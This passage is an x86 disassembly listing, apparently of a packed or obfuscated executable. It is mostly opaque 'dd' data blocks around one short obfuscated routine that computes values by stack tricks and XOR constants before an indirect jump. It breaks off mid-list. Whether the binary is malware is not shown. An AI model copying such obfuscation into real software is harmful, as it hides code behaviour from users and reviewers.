0C4EAA1CBh dd 0DA817847h, 3A35FA36h, 0CE4CFE97h, 2C3F1431h, 0DF18ED91h dd 29469D3Ch, 0E5AE986h, 0F84E26E9h, 31C25B02h, 109A645h dd 0B94E7CD3h, 2AA7DA75h, 0ED761D55h, 0BC076BECh, 7A830083h dd 15BC076Bh, 788D31AFh, 0A63DDC7Fh, 0FEA1CFC9h, 0E467E961h dd 993DE00Fh, 0E5807380h, 0C564915Eh, 0BAACB28h, 0BA50E98Dh dd 8F12450Ch, 76BC910h, 0ABCBA8BCh, 59D7730Ch, 0B45720B5h dd 0B7B1BE15h, 0D07A13BAh, 0FAF4CB52h, 0C446ED04h, 15CF0B24h dd 4C000000h, 5DFCFAC9h, 0F8018AC0h, 97BC076Bh, 7E1D5831h dd 0BC8654DAh, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh, 0E481244Ch dd 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh, 0AE47E610h dd 766B6824h, 1C890000h, 0E0895024h, 405h, 4E88300h, 5C240487h dd 68243C89h, 1ECDh, 53242C89h, 2A2BE5BBh, 0D518BF11h dd 0DF31170Bh, 81241C8Bh, 4C4h, 4EC8300h, 83242489h, 5D042404h dd 0F9895150h, 8959C889h, 8B580845h, 8956242Ch, 4C681E6h dd 83000000h, 348704C6h, 34FF5C24h, 0C4815F24h, 4, 0F97AABE9h dd 96AC0AFFh, 30CB884h, 0C5030622h, 0F6CCE0FFh, 0C9D4148Dh dd 0D5E061E0h, 25FC4564h, 0A8055A69h, 0B0985D24h, 0CBCA693Ch dd 8BDC5DD6h, 4E032464h, 45273DA7h, 0D09E6ACAh, 1525074h dd 0AE412CF1h, 613D2706h, 60B067F3h, 347D0CEDh, 92024B62h dd 42BD68A6h, 95C52873h, 21495E16h, 4D391FBCh, 6B2F5F5Bh dd 0F59364ECh, 0F2E0656Fh, 5C8519D0h, 7DD55F0Eh, 4EB769Ch dd 72BBB6A7h, 52FE9h, 0B24D1F00h, 5FFEF80Fh, 0A84F2BC0h dd 6601F209h, 9E452CC3h, 8D4456FBh, 0C51ABD64h, 926908ABh dd 0CE25C463h, 675BFEA1h, 7E9667ECh, 0E938EAh, 57966D42h dd 8B2B1FB8h, 39D67976h, 7918BFBAh, 55F29562h, 0EFEE75F0h dd 823EC87Dh, 552E2FF6h, 9513939Dh, 7013DCF1h, 36D916EDh dd 7C7A7992h, 0C7B340DDh, 910FAAC9h, 4DF0FFF4h, 3ED77E74h dd 0AB18BBB5h, 0B14674FBh, 0E0AFE26Dh, 6CDE7716h, 953837CCh dd 7110DDF2h, 9D3C39CEh, 6205F300h, 0D89745C5h, 0E4832253h dd 0A03DE00Fh, 0FDA4CEA5h, 146EA60h, 3EC8F9FBh, 3F72FDA9h dd 4BE48770h, 2FA55FFFh, 29028536h, 71h, 0E2DC1B99h, 6ED77017h dd 0C87DE8F1h, 7F01873Eh, 1CDF6401h, 843EC87Dh, 0F76DD79Ah dd 610284B1h, 1, 3CDB1BE1h, 872650A3h, 6F8857EEh, 771733CCh dd 0CC9F9162h, 73A89431h, 1E07F56Dh, 0F67DFB7Dh, 5A95029h dd 4C230B2Ch, 7C03A7C7h, 3EC8637Dh, 71F47614h, 0F0792DEBh dd 3EDC6803h, 0AE35B865h, 3EC8D82Fh, 524C442h, 0BB5E01EEh dd 37DE1B73h, 7A19559Eh, 0B0531CF3h, 8D5E3317h, 66F54EF2h dd 0BB3259DFh, 0D4F89A2h, 2BB0BF69h, 0F308A74Eh, 4EDA6104h dd 502811FBh, 0AA3A10ADh, 70894C22h, 9C1E2CC9h, 9F2223FCh dd 0C819D920h, 0C252B83Eh, 48FD0787h, 55AA4E61h, 20EF761Dh dd 3119B655h, 502EB48Dh, 4A319701h, 82270285h, 9E000000h dd 7E254C23h, 19E069E1h, 783EC8E1h dd 1BE86E12h, 559E37DEh, 5ED9761Dh, 898D71F7h, 0A58F2FD5h dd 0D3581701h, 8B60FFA6h, 0BC3DC26Eh, 0CC3EC8B6h, 0C8B6B647h dd 0BF3BC93Eh, 0C52EC749h, 70720BA6h, 22BB38BDh, 3D3EC8B6h dd 48E58870h, 36E08002h, 7F4BB11Bh, 4C2D0285h, 95000000h dd 0B437DE1Bh, 0C66C2228h, 0FC9C1E26h, 6A5D023h, 0D8978569h dd 0FC7F2653h, 0AA34A27h, 0D66F0AE9h, 0B352F674h, 57966D6Bh dd 0A82B1FB8h, 0C87DD22Bh, 7717AD3Eh, 58F59462h, 0C87D11EBh dd 0CCA37F3Eh, 84B1EA62h, 16C02h, 6DD60000h, 3CDB1BE8h dd 0C87D26B7h, 2CAD323Eh, 433EC87Dh, 1FBF45C5h, 6C09B0CAh dd 28C56887h, 0EA1D34E2h, 12E3D915h, 7C51F573h, 0C3EFC176h dd 34B84297h, 5ADF13B6h, 0AD67EC6Fh, 0AEC4F536h, 4BC67F18h dd 2D2A35C4h, 0DD5A3CC7h, 0C67ABEh, 8D620684h, 0CB20BF62h dd 0D76C09ACh, 0C72D3F04h, 0C74C23F9h, 0DF6205A8h, 3F1CDD62h dd 0D573C72Dh, 30D39C31h, 0A533AE97h, 55A9B441h, 57A62B84h dd 1AC72DD9h, 83BF84Dh, 88FE7EA3h, 41E413E8h, 410EB7A4h dd 51F99635h, 67EC83ADh, 0BD648E88h, 9A82A20h, 6A4ED70Dh dd 13281FCh, 3E010000h, 47961DA7h, 1A3EC87Dh, 2AA72EACh dd 59201A55h, 0B39730B2h, 53400E13h, 7513C4F5h, 0E2DC1BD8h dd 4FF27017h, 831CBFB8h, 5D04EDC2h, 11E68AC0h, 5EEC35E6h dd 0FAA97C94h, 0D97CDF78h, 64FFC453h, 0C363F8F3h, 0CE31659h dd 0A5A542E1h, 5B03EC01h, 2C4C05D4h, 6CEE5CC7h, 0E31B51CDh dd 4A3DFC68h, 0C5000000h, 0B55C966Dh, 1456DF11h, 36BD3BDAh dd 0C87D90B9h, 5CF98F3Eh, 378216E7h, 0C33E01C1h, 3782BD3Ch dd 5D36D4C1h, 0E54FEF92h, 0DD8D288Ah, 7AD06D14h, 0CAE775F8h dd 1402AE15h, 0CE55D878h, 0C13771BFh, 457514B2h, 84h, 22A73EBBh dd 5FFA149Bh, 0DB56C4F5h, 2CA28554h, 0CA6EDCC7h, 945FF88Eh dd 0C219B85Bh, 0CE7512B5h, 0C72CA10Ah, 0CD521DFFh, 0AE60FFA2h dd 0A62BB217h, 2CA3D029h, 7519AFC7h, 0A7BD2DB2h, 14B23D0Eh dd 0AE360B91h, 0C15EFDF9h, 0FAE9F989h, 5E9F24A7h, 31CD0A48h dd 2B1AF393h, 5DED659Dh, 21C59C4Fh, 6700A3CCh, 94F679A3h dd 2AF97C4Dh, 3B0FA84Fh, 0D31B989Bh, 8C3728A5h, 52D65BFEh dd 0D7DEDE46h, 75BB5BC2h, 9B22A73Eh, 0EA79D414h, 820184C4h dd 0C715817Bh, 8149900Fh, 0A228C715h, 4804A422h, 0A1CE25C2h dd 6B845BFEh, 18142FC8h, 0AA53AFC0h, 8F68ED84h, 0B9B64DECh dd 56098F16h, 3AD91509h, 6C1DAD9Dh, 75CE72AAh, 0ADC46D7Eh dd 0ACA95BC8h, 0A009D1Bh, 0E71095DCh, 25A0A544h, 8C285F9Eh dd 0F49432BBh, 0D06D10DFh, 0D0Ah, 0C1AC8300h, 816E8522h dd 76BC5CDEh, 0D91BBC86h, 2552A13Eh, 0DF0EE582h, 244CA740h dd 0E20FE481h, 2851A23Bh, 0DC0FE481h, 234FA441h, 0E610E37Ch dd 5724AE47h, 0C781E789h, 4, 3304EF83h, 3C31243Ch, 243C3324h dd 62BC685Ch, 4890000h, 0E6895624h, 4C681h, 0EE830000h dd 24348704h, 2414895Ch, 8904EC83h, 0FCBE2434h, 89062203h dd 8B545EF0h, 0C4832414h, 0B9515004h, 304B6FA6h, 4244C31h dd 8428F59h, 0A6087281h, 0FF304B6Fh, 835A2434h, 48B04C4h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F974FFE9h dd 5D33C4FFh, 2208AAB8h, 0FFC50306h, 656EE0h, 22ED2E43h dd 59EDEE69h, 59B7F46Ch, 76AB3E41h, 54D7E56h, 1D8B7848h dd 0BBAF0E65h, 0BF268571h, 869B331Dh, 0C9BE4C4Eh, 0C7EF725Dh dd 7285CA37h, 49792E21h, 0EA111218h, 0A446692Eh, 3168BC3Bh dd 6CF8153Ch, 0F886DE12h, 12E808h, 1DEF0000h, 0E98EB612h dd 120BB4F2h, 175C10C4h, 26C7F997h, 8059C68Ah, 0C18144DCh dd 70B1h, 5C29E381h, 0F62B249Ah, 34FFFA8Ah, 14E80Eh, 6FEF0000h dd 0A81B18CEh, 2DE42156h, 0EF3C1C6Fh, 29E9C702h, 880F0101h dd 3, 5ADE8B66h, 8B66605Fh, 61F08BFAh, 817F781h, 0B8666CD1h dd 0C781CAA9h, 5E17534Dh, 9F1E57B8h, 0DDC7815Ah, 8978F4DDh dd 8EB3313Ch, 66DA8A60h, 8161D18Bh, 977709EEh, 81D18B6Ch dd 977705C6h, 0B0BB666Ch, 1CFE81BEh, 0FFFFF90h, 1485h dd 1890F00h, 0F5000000h, 2AE9h, 0E389D400h, 557D15D5h dd 0E9F8607Eh, 10h, 0F61485E9h, 381EEBF7h, 0DEEB9D7h, 19532515h dd 0FF5CE961h, 6672FFFFh, 8D9433EDh, 220B368Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0D6843171h, 45BD8B74h, 89061B0Ah, 1B24298Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 8091DE4h, 97842006h, 76585C7h, 5AC4061Bh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 899305C3h, 1B29CD85h, 0D185C706h, 61B13h, 0E8000000h dd 0Fh, 401FDA83h, 56182393h, 0AC80E1D1h, 81A5C844h, 0B54EF1D2h dd 0B5FF5A17h, 61B005Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 4C35242h, 43ECF464h, 8595FF8Ch, 56061B2Fh dd 5F67C380h, 95FF006Ah, 61B2205h, 39EBC08Bh, 0AE9BC86Ah dd 0A68E000h, 716068C6h, 0B0586CADh, 0ECE4D0Eh, 0CEF54E83h dd 2122D4C6h, 5208DF8h, 0FD44FF24h, 99345900h, 7867FE89h dd 7778CD31h, 0C96C8C5Ch, 7B04CE23h, 8704EB99h, 0E9725B3Ah dd 0D15h, 220D7A68h, 729EE906h, 5568FFF9h, 0E906220Eh dd 0FFF97294h, 22108568h, 728AE906h, 9368FFF9h, 0E9062211h dd 0FFF97280h, 2214EB68h, 7276E906h, 2F68FFF9h, 0E9062216h dd 0FFF9726Ch, 2216FE68h, 7262E906h, 1656FFF9h, 0E707DC7Bh dd 2852A948h, 0EA09DE81h, 1E5BB04Fh, 6F75D877h, 51F09762h dd 7C1BBEBAh, 48E78667h, 7E21C4B3h, 0B34AC94Ch, 0CE38EA76h dd 0DC1B65DDh, 18579C39h, 5421EE75h, 0FBF811B5h, 31C25BFAh dd 0EB08A544h, 7AD06D08h, 0A72CD8A1h, 3EC87D56h, 801D9B29h dd 90155C8Ah, 2228C568h, 0D65BE2A0h, 0C87D8059h, 0C569DF3Eh dd 608F145Bh, 0ACC51ABDh, 0ADAAFCF7h, 0C8EED726h, 901CAA3Eh dd 69E7B7D7h, 0A34631C6h, 0DF1EA520h, 0A23EC89Dh, 0B27D3307h dd 0DE6CE8DBh, 0D864E13Ah, 9CDE8C7Ah, 149B22D9h, 3EC8ACC5h dd 758A2E9Ch, 0D776807Ah, 7EAFFA4Bh, 789B515h, 9A2FB668h dd 8C138E13h, 3EC8304Dh, 7B224F24h, 36D459FDh, 29C4F514h dd 0BC41029Bh, 69C72D54h, 124AB4BBh, 44FC69DFh, 45h, 27B844C1h dd 3185C9C0h, 946776FBh, 8CFAC72Dh, 0A73E66ECh, 7D47961Dh dd 0B2C13EC8h, 50CC7E17h, 88D5E0ACh, 35B37CC3h, 0F1B330B3h dd 6AC4F413h, 0FD0043DCh, 2AC72DF1h, 558BF57Ch, 3FC6A3Eh dd 0C8h, 6BE86D7Fh, 3EC87D92h, 52F900EDh, 731395B5h, 51EE915Eh dd 9730D7A2h, 57F0935Ch, 9130D39Ch, 0C87A16CAh, 5096223Eh dd 0BE5B38D5h, 40ABC8BDh, 0F2705FAEh, 1BBEB94Eh, 47961D98h dd 1AC137E5h, 0D62D0CACh, 0BD59F699h, 951AA128h, 3B0ACB27h dd 37C64DB8h, 4AC72C17h, 679B3EBCh, 0EF74F7D2h, 3D12B159h dd 33B93CCAh, 217442F4h, 6EB1557Ch, 0B523D8A1h, 78DFB1D3h dd 0FB6BC95h, 0B356D476h, 0DAAE551Ch, 43C019B7h, 6ADEFC91h dd 0A100000Ah, 429938D3h, 0DDF29534h, 34CB6E15h, 0E6FD9C37h dd 0A0C5640Bh, 0F39AD7FAh, 0CE717F54h dd 0FA99D42Bh, 0D4778057h, 7D028135h, 38EA707Ch, 1BA81A13h dd 439837DEh, 68EE9134h, 926BE86Dh, 0ED3EC87Dh, 8E4FD457h dd 0E13EC87Dh, 0C51C363h, 0FBB936BDh, 64C4F4AEh, 3FC15C8Fh dd 0B2589DA6h, 0D7C5C72Ch, 80B62E98h, 0B1A0FC69h, 22000000h dd 9C39DC1Bh, 0F16E1A57h, 3EC87DE8h, 0E67F0187h, 0C87AB95Dh dd 0D77A753Eh, 0DAD4A338h, 0ED5DFA9Dh, 0A33CD714h, 8A8C29A7h dd 0CB129133h, 0A6C13786h, 941BA220h, 3B0AA826h, 29B02FB2h dd 48C72CB0h, 0A4221EC2h, 0FDCC1105h, 1528F976h, 51B73D12h dd 55FCF5CAh, 55F401CEh, 31CE757Ch, 41967519h, 98BD9138h dd 0AA43C172h, 98FF5E5h, 0A6C60000h, 57976C0Bh, 0B8C219B8h dd 5A996E11h, 0AECB20BFh, 0DF056807h, 0C16007F2h, 0CAB4E2Ah dd 0B857F6F7h, 0EB15423h, 23BA39DCh, 3E38EA73h, 0DE1BD56Dh dd 0D928B437h, 463A9F7Eh, 667D9C3Ch, 0FB43E689h, 9C39DC1Bh dd 0D2751857h, 0D873804Fh, 7DEEF338h, 0EE7A3EC8h, 0A6D01E53h dd 0B9757B07h, 7D7A8F2Fh, 0EFD489CCh, 25A3B6D1h, 0DF826D82h dd 1FC2AD46h, 0AFF5109Ch, 8BA7197Bh, 5D0952EBh, 0BF628D12h dd 506EE620h, 915E0285h, 0DF866C66h, 0E9860446h, 0F104BD61h dd 7E000000h, 961DA73Eh, 3EC87D47h, 7D4D8C13h, 0A6243EC8h dd 8D2C4926h, 3D85AF0h, 50D355F0h, 0BFB947D5h, 457CCF3Dh dd 0C6729CA1h, 7F05C4F5h, 5DE25FE6h, 0C72DDA9Ch, 4FF2FEF3h dd 0D5282DD1h, 42C72DDAh, 2DA30D64h, 0A1FC6A5Dh, 0EF2E871Bh dd 8F2F474Dh, 9B56h, 5229AF00h, 55A42B92h, 2CC72DD6h, 5F180E9Eh dd 6B34FA9Eh, 3EC87D91h, 199C2DB4h, 0F544D89Ah, 620583C4h dd 8766648Dh, 78CD6AE8h, 0FFBA69F4h, 0C0B8588Dh, 48CA801Dh dd 46DF8673h, 2BB26404h, 0D698179Eh, 823D11D7h, 861FC2ADh dd 9D2824C4h, 126C716h, 953441CDh, 2FD252F8h, 12629B0h dd 40C248CDh, 8E643BC2h, 5CFC4EE7h, 76FD78BDh, 0CD012667h dd 963D35FAh, 8E5F7414h, 79C056EFh, 7B48CD50h, 0DC6CC7Dh dd 0BA183C32h, 0C9939838h, 0A2373C64h, 3D558524h, 0AB000005h dd 981DA73Eh, 0C87DC21Bh, 0A2279D3Eh, 3EC87D5Bh, 0CB52D036h dd 0DD7C7946h, 4FA6F439h, 0CB39C4F5h, 92CC1132h, 4B39C72Ch dd 0A5229A04h, 934FC69h, 8E000005h, 59E0599Ch, 0BD3BDE19h dd 5947B936h, 72D8C4F5h, 722ED279h, 653A98EAh, 0AA49E68Dh dd 0B8922BCEh, 0DD64963Ah, 17EC69ECh, 0B09A33DAh, 7414B10h dd 6CDA94EBh, 16E76CE9h, 5974CC01h, 2C3CB8CCh, 0DC6AEA19h dd 0AE33E33Ch, 8E0CA7C4h, 2ECF8807h, 0B4528EEDh, 0F2956231h dd 9069E66Bh, 0EF7D2E2Eh, 8156B559h, 0F803D376h, 0C6F3E00Bh dd 75FF1E9h, 56960000h, 0A7C71CBBh, 68926908h, 0AAC91EC1h dd 5E9B700Fh, 0AF3518B7h, 11B05722h, 0BC5BFEFAh, 8A74627h dd 0BE6104F3h, 0F30A890Ch, 8E38EA6Dh, 966D259Dh, 0BC11B55Ch dd 9F7710B3h, 0A72CAF1Ah, 0C4F55A45h, 9038400Fh, 2CA6CA13h dd 0A11FA5C7h, 61FCEF04h, 640486C4h, 4DB62E8h, 50A74AE9h dd 5AE98625h, 0C72CA683h, 2C9600D5h, 738350C7h, 6F0F3BD4h dd 5B9328BDh, 41914B33h, 0A11EA523h, 3D113297h, 0C2659261h dd 0BA4221Eh, 11AA538h, 9DB452CDh, 4E18BD33h, 688B11F6h dd 15CD5020h, 2414CD71h, 6E000000h, 23F9DF6Dh, 70000A6Dh dd 18B85F9Bh, 0E36A5FE6h, 0F54D465Ch, 12AB19C4h, 0F48F5C33h dd 326654h, 3EDC0000h, 149B22A7h, 0C4F55C2Ah, 0F89CD9A6h dd 2C9C627Bh, 987FDC7h, 0FE3ADE6Ch, 6549FF7Ah, 0A7290153h dd 0E2B1370Eh, 0F3948245h, 4CEF09E2h, 31F797B3h, 16E2DC1Bh dd 0F270DA73h, 658ED1Eh, 0E4F6B7B0h, 651h, 2ED16C88h, 5BFE9DD9h dd 28C76E84h, 6205A0D3h, 1ABD648Dh, 452CA537h, 0CE4FB9Eh dd 4431C669h, 2ED02A5h, 870EC05Fh, 0EA6CF108h, 239F9038h dd 9B22A73Eh, 0F54F2214h, 0B64FB5C4h, 0C8F323Dh, 5953837h dd 6D87AE1Fh, 60BF5FD0h, 60CF81DBh, 0A819A41Eh, 0A2D01509h dd 30B335D4h, 6C71C5B3h, 79804F16h, 0AFBE35D2h, 55D37710h dd 1A0175B1h, 0FF404AC0h, 589B34B6h, 27FC7F1Eh, 0A5D2A746h dd 4BBF5E02h, 0D350D3F6h, 88B71C5h, 4C8D128Fh, 1CF8AB58h dd 0AB584697h, 2FAB19F8h, 2B353B8Bh, 7CFE6A88h, 8323CAA7h dd 9FA441C7h, 0F8ABB05Ah, 2C96D9C3h, 0C8E882B4h, 8C2B4B18h dd 0FEB757F3h, 121h, 22A73E84h, 4F22149Bh, 0E1AEC4F5h dd 58D47417h, 0D19E55F2h, 7B748B2Eh, 76043FD8h, 0F41E6049h dd 0D5A2272Ah, 7F788F32h, 7F0243DCh, 51C9F900h, 8E3298ECh dd 1D13B3C9h, 155C8A35h, 43DE0DE2h, 0EB00A0AAh, 41E8120Ch dd 8524A6A4h, 41DE816Eh, 0AE338FD5h, 8604A831h, 0B841C795h dd 95860421h, 0C548CA40h, 86045F3Eh, 0B554F295h, 46CDFC41h dd 30C946CBh, 48958604h, 860432CBh, 3BB74D95h, 5E2429CDh dd 1A6FBB38h, 0EC892845h, 0B17EBA5Eh, 0C18926C5h, 224DA63Fh dd 0EC0BE07Fh, 0C56205F2h, 0AE9FCA77h, 60E2DE1Ch, 17FE45E2h dd 689BFBABh, 580B3BEh, 0FBAB7F7Eh, 0D474129Bh, 0C64DF0FFh dd 0D65DFCF9h, 0FBAB8059h, 0C569DF9Bh, 0E60CE366h, 0EB8E6A3Fh dd 70A9064Bh, 6BF60F8Ch, 531CB356h, 0FD2C17B0h, 5F745F4Ah dd 0FCFB80CFh, 5621B659h, 65FC1AB3h, 0DC62E164h, 0AF6E6286h dd 5497640Bh, 51CF5327h, 9BD4ABAEh, 0B389C5EAh, 17F02F5h dd 0E05FE664h, 9AB44A19h, 806E1278h, 6Dh, 5C966DDAh, 8E3218B5h dd 184459Ch, 0F575A082h, 46CD3BC4h, 85B544CBh, 3ECCC72Ch dd 85A138B7h, 4AC0C72Ch, 0EBB88DA6h, 3914590Eh, 0B3FCC384h dd 0D9B29835h, 8055F9A0h, 0F538D776h, 5AEAF370h, 432CC72Ch dd 0C74307A0h, 0E113B141h, 6BB2C9D3h, 58937FCBh, 9B422F04h dd 76A84802h, 0CF52D9EEh, 0B155F800h, 2C9D956Ch, 0A87E0CC7h dd 39DC1B2Ah, 0ECDD6496h, 414CEA69h, 790FC4F5h, 0B1501DF2h dd 0EAAA9E2Ah, 96012022h, 0B1BC13F2h, 3D07512h, 7EB050F7h dd 0CD688BE7h, 3044C84Bh, 0B928D80Dh, 0B837FA9Eh, 3D112532h dd 47FE972Dh, 3FDF7E78h, 117E7FAh, 0CCFD44CDh, 2FCCA49h dd 97F373Ch, 4B02D76Ch, 11EBD366h, 3E340B3Eh, 4E8F1497h dd 21D3664Bh, 0D30903A3h, 0FBF032E7h, 29A64A24h, 0D36647D0h dd 0F79719AFh, 51BEh, 0DF6D4400h, 408D6019h, 0D69B2802h dd 0A2631C5Dh, 378E8020h, 0B860B92h, 0FC993C34h, 2034C54Eh dd 0BD4B3EC8h, 281E1419h, 0ECC1C4F5h, 3FE60C02h, 0A426A4A6h dd 4C529B21h, 6BE50536h, 0C8541E22h, 0BE4EBFB8h, 90F9F093h dd 0C9620604h, 2811h, 0DF6D8700h, 0AC7E710Ah, 0DC4EF2F0h dd 0F2C14485h, 85C56205h, 0F7E15EE1h, 88C4F517h, 65E06502h dd 2D561FDEh, 34D472C7h, 39DC1BEEh, 6586265h, 1FBB54B0h dd 2F9h, 6A94430h, 0C36605F1h, 9F462Ch, 0CA6D08EBh, 0F2953C35h dd 6D844D4Fh, 0A4CC23C6h, 6C895E01h, 9AD52ACDh, 0DF6658F7h dd 0EA699960h, 8B37F838h, 0ED2BDC1Bh, 945B79F7h, 47FE9719h dd 0D1B445CAh, 3DCB3EC8h, 832B4499h, 0C8D1FDFCh, 74F6943Eh dd 2D9C21D5h, 0F5E329A6h, 0F075C4F5h, 14B15423h, 0F52CAD36h dd 0B73CC72Dh, 0C72DF526h, 0B94FCB39h, 7C54EC29h, 28C87CCEh dd 42019E2Ch, 0C72DC2BFh, 80B3BE68h, 0C27F7E05h, 1D12C72Dh dd 8B2BAD54h, 6A755B91h, 41FDFCh, 3E850000h, 169B22A7h dd 0C87D4099h, 1FA41F3Eh, 3EC87DDEh dd 0F19513B1h, 0AEF3B12Eh, 0D765C4F4h, 0E811CEF6h, 0E0C3B141h dd 9BD8B1h, 0C966E460h, 2C64677Ah, 5BF690C7h, 68CA7BF1h dd 0ACDDFCh, 1B650000h, 579C39DCh, 19DA731Ah, 51A23BDEh dd 7C008326h, 0A41FB379h, 14B3C326h, 0AD51CF7Bh, 7B15C98Eh dd 0A6D13EC8h, 608F6403h, 6FF620BDh, 5E4CD35Ah, 113B0AA2h dd 9B22D473h, 0F321A72Eh, 76717318h, 63553BF5h, 9D1B6A99h dd 70B936F9h, 0EF3D1243h, 0D654F302h, 0D279804Fh, 0FAA1D82Fh dd 0C0A83926h, 58820B43h, 1B5h, 0C26500ECh, 0FFA2412Dh dd 0CC6B12E8h, 0F6993437h, 0CE7118E1h, 0A1D8F9ABh, 788057FAh dd 0D09D32D5h, 7E798E31h, 0B8A3CDBh, 0EA6B7584h, 9F230C38h dd 9837DE1Bh, 0EE913443h, 51C8DD6Bh, 3EB0B840h, 0A73E949Ah dd 830AADCBh, 0C87DFDFCh, 74F6943Eh, 0AEB072F1h, 9D2BC4F4h dd 8D2C4916h, 5DB65AF0h, 2CB213E6h, 7A49FCC7h, 0CF39DD7Ch dd 80DE1680h, 9B78FC69h, 0A000000h, 9C39DC1Bh, 0DA731A57h dd 0C87AB569h, 0E386713Eh, 1DC0AF44h, 7A4F9680h, 5D4F1CF3h dd 0F951EE95h, 0CF54D777h, 3B0AA5DDh, 0A559F88Eh, 4D22A920h dd 0CEA98221h, 4DC88B2Bh, 37D77A76h, 120144F2h, 0EA71D73Dh dd 9235DC15h, 0B98D343Dh, 43C16EAAh, 0E63F9B74h, 1D000000h dd 0BE15B44Fh, 996E11B0h, 0C017BA61h, 627918B3h, 2C51F097h dd 771E5B76h, 52F503D8h, 7E1D58AFh, 48EB04DBh, 118E35A9h dd 38EA6BC8h, 1BFCC6A7h, 959837DEh, 7D4A9310h, 9F253EC8h dd 6A0DEAFFh, 0DC1B7FC7h, 18579C39h, 14B1501Eh, 0E115B436h dd 69E66D5Ch, 0C4EA701Eh, 9360E361h, 720C067h, 0C16003ECh dd 0F99C4D2Ah, 0DD60DFC9h, 93F22DC8h, 0D355285Fh, 0CC8BB855h dd 0F6538E5Fh, 3AB956F9h, 8A29453Bh, 93756F08h, 993437BCh dd 3BCC4EFCh, 862D451Ah, 53BD61E9h, 0D57877FCh, 2FD29D32h dd 0F38E5D96h, 0BB5E995Ah, 5A4D122h, 0D9988668h, 0EB66EDABh dd 0ABA39564h, 0BA5EECBBh, 737C0150h, 0D4BF4DD0h, 8F553C01h dd 0F7A441D1h, 0DA045C64h, 0F700D736h, 0A1FBB54h, 79000000h dd 0B75A966Dh, 0E28C2C1Eh, 3ED91B60h, 822552A1h, 40DF0EE5h dd 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h dd 47E610E3h, 895124AEh, 4C181E1h, 83000000h, 0C8704E9h dd 24248B24h, 526C68h, 24148900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax push 6F35DAFh pop eax push ecx mov ecx, 4B802464h add eax, ecx pop ecx xor eax, 545189D6h mov edx, eax pop eax push 1A06h mov [esp], esp add dword ptr [esp], 4 pop ebx push ebp mov ebp, edx mov [ebx+8], ebp mov ebp, [esp] add esp, 4 mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_53531C ; --------------------------------------------------------------------------- dd 0DEAD7B38h, 1809B877h, 0C5030622h, 0D2F5E0FFh, 6A925933h dd 0E24D27CFh, 2A2A169Ah, 4A3D0367h, 7BAB063Ah, 1D471357h dd 248A33C5h, 5DCA4010h, 4EB7E1Ch, 3BEA1F67h, 51CE9h, 821D4F00h dd 4FEE08DFh, 781F5BB0h, 56F102D9h, 0AE551CB3h, 9D34660Bh dd 758A2DD4h, 0A239D87Bh, 3E9534D3h, 0F7EB8E31h, 6506D75Ch dd 905938EAh, 39DC1BB2h, 731A579Ch, 4DF0FFD4h, 3A3443B0h dd 981B9D3Ch, 660AADCBh, 0A94826CDh, 6C032B0Ch, 0DF8C6A39h dd 0BC9AD136h, 9F38BA92h, 0F9F60BABh, 511CB356h, 0D0D726ADh dd 1CA33EC8h, 3EC8D0DDh, 2B9616B4h, 0C8D055A4h, 1C9E2C3Eh dd 9E4FB9Eh, 0E30CE36Ah, 6C87A040h, 1C5AD384h, 617CDDCEh dd 1AC446DFh, 4A3D257h, 0BE618E65h, 0C1D82221h, 0DEC83EC8h dd 6DB32993h, 64A50285h, 1D000000h, 9C39DC1Bh, 0C87D54A7h dd 0F623C3Eh, 0B3F650DCh, 0B12CF57Ah, 0BEDD130Dh, 17B0284h dd 7000000h, 0A33CDB1Bh, 4A302650h, 0FF81244Ch, 0C966E466h dd 11AE492Ah, 0F479F826h, 54D85BFAh, 69CD995Bh, 78C0FE0h dd 3EC865F6h, 0BC5BFB89h, 1F4E4827h, 0DA5F0280h, 0A946ED05h dd 65C6179Ch, 2B993EC8h, 1B4309ADh, 0DFB437DEh, 74D66F0Eh dd 0BEB83BD4h, 710EADC8h, 0A44314CBh, 0B937C93Fh, 0B231B437h dd 3EC87A2Bh, 0B63DC046h, 3EC87A27h, 132CCC3Ah, 0A0D39E48h dd 7A5F9E25h, 94323EC8h, 5D12DFF4h, 0D714E6E5h, 1BA7A33Ch dd 4ED5B0DFh, 0C81608D1h, 5FE1673Eh, 0CAA67DC0h, 1CBC8E27h dd 6805A8C7h, 2FC86F8Bh, 5323F0B3h, 67EA14B4h, 0BD12A834h dd 0CC2556D6h, 968AF22Ch, 88EC0285h, 56000000h, 0BA55966Dh dd 11B8C116h, 7188078Ah, 103EC87Dh, 0B63DD67Ah, 0BF7815BCh dd 0D6ADE06Fh, 0B168F49Bh, 442B796h, 0B2BF14B4h, 5A976C0Bh dd 51EE955Ch, 15DE77F9h, 40A23BD6h, 728B088Dh, 0D3EC859h dd 222DD777h, 84D790B8h, 6EC602h, 1B3C0000h, 0DFB437DEh dd 74D66F0Eh, 8B2BD29Fh, 910E93B2h, 3EC87D48h, 84009FCEh dd 608D6206h, 4DEA8D6Ah, 6769FFEFh, 72F0EF9Eh, 57966DF0h dd 0EFFF18B8h, 0D49D222Dh, 1BC48A2Dh, 0A0A33CDBh, 3EC87D5Ah dd 0F16E12DCh, 3EC87DE8h, 0E67F0187h, 0A441E00Dh, 1A0CDA6h dd 0F978A664h, 43DC7774h, 841E8907h, 0B24D83EDh, 10B0284h dd 77000000h, 9F38DF1Bh, 0DF781B54h, 3B6E012Bh, 4CE98C64h dd 6D855AFEh, 6AEF23C6h, 0DC59DC5Fh, 0C87D8657h, 0D477803Eh dd 0F5930F3Bh, 4636CC51h, 9B29C4F5h, 6306F102h, 9D402FC4h dd 9AB84300h, 0A775C72Ch, 0B15423A8h, 5BFEF90Eh, 0C1AC83C2h dd 8E697E22h, 3AB85B94h, 6F16DCB3h, 3BD474D6h, 0C8FB5620h dd 0F5459344h, 